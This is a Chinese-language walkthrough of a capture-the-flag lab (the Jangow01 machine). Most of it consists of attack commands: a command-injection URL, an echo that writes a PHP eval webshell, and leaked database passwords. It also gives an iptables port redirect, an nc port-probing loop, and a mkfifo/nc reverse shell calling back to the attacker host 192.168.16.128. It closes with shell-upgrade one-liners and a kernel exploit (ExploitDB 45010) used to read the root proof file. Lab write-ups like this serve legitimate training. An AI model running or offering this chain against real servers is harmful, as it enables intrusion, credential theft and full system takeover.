1. 靶场下载地址:
2.信息搜集:
这里信息搜集使用的是别人的图,
1. 靶机真实 ip 是 192.168.16.133
这里我们发现,
2. 目标开放了 80 端口
然后我们对目标的 80 端口进行访问
我们通过插件,然后获取到了当前页面下全部的 url 链接
3. http://192.168.16.133/site/busque.php?buscar=
4. 获取目标的系统和后端语言
ubuntu 和 php
3. 漏洞利用
对上述提到的这个 url 进行传参
http://192.168.16.133/site/busque.php?buscar=pwd
1. url 存在任意命令执行漏洞
由于存在任意命令执行漏洞,那么我们接下来就可以考虑使用 echo 去创建一个 php 一句话木马
2. 写入一句话木马
echo '<?php eval($_POST["shell"]); ?>' >shell1.php
3. 哥斯拉连接 shell
4. 获取的 use,passwd 信息
$servername = "localhost"; $database = "jangow01"; $username = "jangow01"; $password = "abygurl69"; // Create connection $conn = mysqli_connect($servername, $username, $password, $database); // Check connection if (!$conn) { die("Connection failed: " . mysqli_connect_error()); } echo "Connected successfully"; mysqli_close($conn);
<?php $servername = "localhost"; $database = "desafio02"; $username = "desafio02"; $password = "abygurl69"; // Create connection $conn = mysqli_connect($servername, $username, $password, $database); // Check connection if (!$conn) { die("Connection failed: " . mysqli_connect_error()); } echo "Connected successfully"; mysqli_close($conn); ?>
4. 反弹 shell 的建立
1. 将 kali 所有端口绑定在同一个端口中
sudo iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 1234
然后我们使用 nc 对 1234 这个端口实行监听
nc -lnvp 1234
2. 编写 shell 检测哪些端口可用并上传 bash
for i in{1..65535}; do timeout 1 nc -vz 192.168.16.128 $i && echo "$i open" >> out.txt || echo "$i closed" >> out.txt; done
然后我们即可上传该文件,文件名为 text_shell.bash 文件
3. 利用任意命令执行漏洞去执行上传的 bash
在进行这一步之前,确保 kali 的 ip 和 bash 一致,并且 kali 已经把所有端口绑定在同一个端口上;而且 nc 是正在监听中
这里我们既可以在哥斯拉里面执行 bash,也可以通过这个 url 里面进行传参,bash text_shell.bash 去执行 shell 文件
需要注意的一点是:我们上传 bash 文件之后,不一定能够执行,还需要我们去添加执行权限 chmod +x text_shell.bash
4. 发现 443 可以用来作为反弹 shell
5. 建立反弹 shell
kali (192.168.16.128) 监听本地的 1234 端口
nc -lnvp 1234 (因为之前绑定了端口,所以这里直接监听的端口是 1234,而不是 443 端口)
反弹 shell 代码,被攻击机主动去连接攻击机(攻击机 ip 为 192.168.16.128)
我们上传 shell 文件,在目标服务器上
反弹 shell 文件代码如下所示:
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16.128 443 >/tmp/f');?>
然后我们直接在目标服务器上运行该反弹 shell 文件,然后我们来到攻击机 kali 上
会发现我们的被攻击机 192.168.16.133 与我们的 kali 进行了连接
但是我们这里连接之后,靶机是没有提供 python 环境的,为了完善这个靶机的开发环境,我们可以输入
python3 -c 'import pty;pty.spawn("/bin/bash")'
其它语言升级 shell 的 code:
echo os.system('/bin/bash') /bin/sh -i #perl perl -e 'exec "/bin/sh";' #ruby exec "/bin/sh" ruby -e 'exec "/bin/sh"' #lua lua -e "os.execute('/bin/sh')"
5. 提权
1. 查看当前系统的配置信息
这里我们提供三种查看系统配置信息的命令,最直观的是第三种
因为可以直接获取其具体的版本信息
uname -a cat /proc/version lsb_release -a
Linux jangow01 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
www-data@jangow01:/var/www/html/site$
Distributor ID: Ubuntu
Description: Ubuntu 16.04.1 LTS
Release: 16.04
Codename: xenial
2. 漏洞利用(ubuntu 系统版本和 内核 两种利用方式)
ubuntu 系统版本利用
searchsploit ubuntu 16.04
然后我们在 kali 中把利用代码放在复制到桌面上,然后将其移动到我们的真实主机上,通过哥斯拉进行上传
cp /usr/share/exploitdb/exploits/linux/local/45010.c 桌面/a.c
上传如图所示:
编译 a.c 文件,得到一个 a.out 文件,然后输入 ./a.out 执行 a.out 文件
3. 查看是否越权成功
cat /root/proof.txt